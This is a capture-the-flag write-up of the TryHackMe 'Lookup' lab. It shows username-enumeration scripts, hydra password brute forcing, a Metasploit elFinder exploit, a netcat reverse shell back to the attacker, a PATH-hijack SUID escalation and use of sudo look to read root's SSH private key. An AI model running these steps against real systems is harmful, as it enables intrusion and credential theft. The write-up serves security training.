Post

TryHackMe: Lookup CTF Walkthrough

TryHackMe: Lookup CTF Walkthrough

TryHackMe | Lookup CTF Challenge icon

🧰 Writeup Overview

is a Linux-based machine that focuses on:

  • Subdomain enumeration to uncover a hidden elFinder file manager
  • Remote Code Execution (RCE) via a vulnerable PHP connector in elFinder
  • Privilege escalation through a misconfigured SUID binary and abused PATH variable
  • SSH brute-force using harvested credentials
  • Root access using a leaked private key extracted with the look GTFOBin

The box challenges your skills in enumeration, web exploitation, password attacks, and local privilege escalation, and is ideal for learning real-world exploitation techniques.

🧾 Recon(Lookup)

Edit /etc/hosts

1
sudo nano /etc/hosts

Add:

1
10.10.158.59    lookup.thm

Open Ports Found

RustScan (Initial Fast Port Scan)

1
rustscan -a lookup.thm -p 22,80,8000,8089,8191,33399,50000 -- -sCV -T4 -oN lookup.nmap
1
2
3
4
5
6
7
8
9
10
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
22 (OpenSSH 8.2p1 Ubuntu)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Login Page
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS

Web Enumeration

Directory Bruteforce

1
feroxbuster -u http://lookup.thm/ -w /usr/share/wordlists/dirb/big.txt -t 100 --filter-status 403,404 -x php
1
2
3
4
200      GET        1l        0w        1c http://lookup.thm/login.php
200      GET       50l       84w      687c http://lookup.thm/styles.css
200      GET       26l       50w      719c http://lookup.thm/
200      GET       26l       50w      719c http://lookup.thm/index.php

Virtual Host(Subdomains) Enumeration

1
2
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt  \
-u http://targeted-ip -H "Host: FUZZ.lookup.thm" -fs 0

We can use -fc == filter code OR -fs == filter size

1
2
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt  \         
-u http://targeted-ip -H "Host: FUZZ.lookup.thm" -fc 302

OR

1
gobuster vhost -u http://lookup.thm -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt

Unfortunately, it didn’t appear due to lack of connection so that need Credential.

User Enumeration

Extract users based on server response

option |

1
2
3
4
5
ffuf -w /usr/share/wordlists/seclists/Usernames/Names/names.txt -X POST \
-d "username=FUZZ&password=wrongpass" \
-u http://lookup.thm/login.php \
-H "Content-Type: application/x-www-form-urlencoded" \
-mr "Wrong password. Please try again"

result admin,jose

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://lookup.thm/login.php
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Usernames/Names/names.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : username=FUZZ&password=wrongpass
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Regexp: Wrong password. Please try again
________________________________________________

admin                   [Status: 200, Size: 62, Words: 8, Lines: 1, Duration: 83ms]
jose                    [Status: 200, Size: 62, Words: 8, Lines: 1, Duration: 192ms]

option ||

with code python to do that

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
from concurrent.futures import ThreadPoolExecutor
import threading

URL = "http://lookup.thm/login.php"
WORDLIST = "/usr/share/wordlists/seclists/Usernames/Names/names.txt"
THREADS = 100
MATCH_TEXT = "Wrong password"  # <-- Change this if your app says "Invalid password" or similar

lock = threading.Lock()

def check_username(username):
    username = username.strip()
    if not username:
        return

    data = {
        "username": username,
        "password": "wrongpass"
    }

    try:
        response = requests.post(URL, data=data, timeout=5)
        if MATCH_TEXT in response.text:
            with lock:
                print(username)
    except requests.RequestException:
        pass  # optionally print error

def main():
    with open(WORDLIST, "r") as file:
        usernames = [line.strip() for line in file if line.strip()]

    with ThreadPoolExecutor(max_workers=THREADS) as executor:
        executor.map(check_username, usernames)

if __name__ == "__main__":
    main()
1
time python3 Username_Enumeration

that took approximately 149.21 seconds to complete.

1
2
3
4
5
6
7
admin
jose

real    49.21s
user    22.57s
sys     12.81s
cpu     71%

option |||

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import aiohttp
import asyncio

TARGET = 'http://lookup.thm/login.php'
WORDLIST = "/usr/share/wordlists/seclists/Usernames/Names/names.txt"
valid_usernames = []

async def check_username(session, username):
    """Check if a username is valid by sending a POST request."""
    form_data = {'username': username.strip(), 'password': 'test'}
    try:
        async with session.post(TARGET, data=form_data) as response:
            response_text = await response.text()
            if 'Wrong username' not in response_text:
                valid_usernames.append(username.strip())
                print(f"[+] Found valid username: {username.strip()}")
    except Exception as e:
        print(f"[!] Error checking {username.strip()}: {e}")

async def main():
    """Read usernames from wordlist and check them asynchronously."""
    async with aiohttp.ClientSession() as session:
        try:
            with open(WORDLIST, 'r') as file:
                usernames = file.readlines()
                tasks = [check_username(session, uname) for uname in usernames]
                await asyncio.gather(*tasks)
        except FileNotFoundError:
            print(f"[!] Wordlist not found at: {WORDLIST}")
            return

    print("\n[+] Valid usernames found:", valid_usernames)

if __name__ == "__main__":
    asyncio.run(main())
1
time python3 Username_Enumeration.py
1
2
3
4
5
6
7
8
9
10
[+] Found valid username: admin
[+] Found valid username: jose

[+] Valid usernames found: ['admin', 'jose']

real	23.57s
user	4.72s
sys	    0.94s
cpu	    24%

🦿 Foothold

Credential Brute Force

1
hydra -l jose -P /usr/share/wordlists/rockyou.txt lookup.thm http-post-form "/login.php:username=^USER^&password=^PASS^:Wrong password. Please try again" -V

jose is vaild Credential to log in http:/lookup.thm

1
[80][http-post-form] host: lookup.thm   login: jose   password: **********

If I add flags or other arguments after the methode (http-form-port), hydra didn’t do anything. To work, I had to let the command line end with the method used.

💀 Exploiting elFinder

Visit http://files.lookup.thm — elFinder web interface is visible.

Add it to /etc/hosts:

1
10.10.158.59    lookup.thm    files.lookup.thm

Search for Exploits

1
searchsploit elFinder

Metasploit Exploit

Web Login Required Before Exploiting, You must log in as user jose at http://lookup.thm/ to access the files.lookup.thm file manager over Uploading payload.

1
2
3
4
5
6
msfconsole -q
search elFinder
use exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection
set RHOSTS files.lookup.thm
set LHOST tun0
run

Get shell access:

1
2
shell
id
1
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Finally, After gaining access through an elFinder RCE exploit, we obtain a limited shella foothold as a www-data user.

🏴‍☠️ User flag

Stabilize Shell & Move Laterally

Setup Listener on Your Local Machine

1
nc -lvnp 3333

Then from target Machine(Shell Metasploit):

1
busybox nc <your_tun0> 3333 -e bash

1
2
3
python3 -c "import pty;pty.spawn('/bin/bash')"
export TERM=xterm-256color
cd /home/think

Privilege Escalation Prep

Privilege Escalation Attempt (SUID Binaries):

1
find / -perm /4000 2>/dev/null

Found executable file /usr/sbin/pwm

1
/usr/sbin/pwm

Output:

1
2
3
4
/usr/sbin/pwm
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: www-data
[-] File /home/www-data/.passwords not found
1
strings /usr/sbin/pwm

✅ Key Observations from strings /usr/sbin/pwm Let’s extract the important parts:

1
2
3
4
5
6
7
[!] Running 'id' command to extract the username and user ID (UID)
[-] Error executing id command
uid=%*u(%[^)])
[-] Error reading username from id command
[!] ID: %s
/home/%s/.passwords
[-] File /home/%s/.passwords not found

It runs the id command with:

1
popen("id", "r")

It uses a scanf-like pattern:

1
uid=%*u(%[^)])
1
strace -e trace=process /usr/sbin/pwm

What strace Reveals:

1
2
3
4
[!] Running 'id' command to extract the username and user ID (UID)
clone(...) = 3568
...
[!] ID: www-data

What does this mean? The binary spawns a child process using clone() → that’s how it runs the id command.

The output is parsed, and it detects the current user is www-data.

Then it looks for /home/www-data/.passwords but doesn’t find it.

🔐 Key Insight Since the binary uses clone() (which implies it uses popen() internally), and calls id without full path, you can trick it by making a fake id binary earlier in your PATH.

🔎 Explanation:

  • It runs the id command to determine which user is executing the program.
  • You are currently user www-data, so it tries to read /home/www-data/.passwords, But that file doesn’t exist → hence the error.
  • We need a trick in executable file /usr/sbin/pwm to make UID think the owner of the file /home/www-data/.passwords instead of UID www-data via Spoof binary id command, then we can read it.

Spoof binary using PATH hijack:

  • Make a fake id binary
    1
    2
    3
    4
    
    cd /tmp
    echo '#!/bin/bash' > /tmp/id
    echo "echo 'uid=33(think) gid=33(think) groups=33(think)'" >> /tmp/id
    chmod +x id
    
  • Hijack the PATH
    1
    
    export PATH=/tmp:$PATH
    
  • Run the binary

now we can read it & Extracting Password Wordlist:

1
/usr/sbin/pwm
1
/usr/sbin/pwm > passwords

Brute-force SSH using harvested passwords

1
python3 -m http.server 8080
1
2
3
4
# From attacker:
wget http://lookup.thm:8080/passwords

hydra -l think -P passwords -f lookup.thm ssh
1
ssh think@lookup.thm
1
2
think@ip-10-10-99-50:~$ id
uid=1000(think) gid=1000(think) groups=1000(think)

You now have user flag:

1
cat user.txt

🏴‍☠️ Root flag

Privilege Escalation

1
sudo -l

Output:

1
(ALL) /usr/bin/look

you can check here

GTFOBins | look icon

1
sudo /usr/bin/look '' "/root/.ssh/id_rsa"

Root Access via SSH Key

Save key to file:

1
2
3
gedit id_rsa
chmod 600 id_rsa
ssh -i id_rsa root@lookup.thm

A key in PEM format like this one, has to have an empty line at the end.

1
2
root@ip-10-10-99-50:~# id
uid=0(root) gid=0(root) groups=0(root)

Capture the Flag

1
cat root.txt
GIF

This post is licensed under CC BY 4.0 by the author.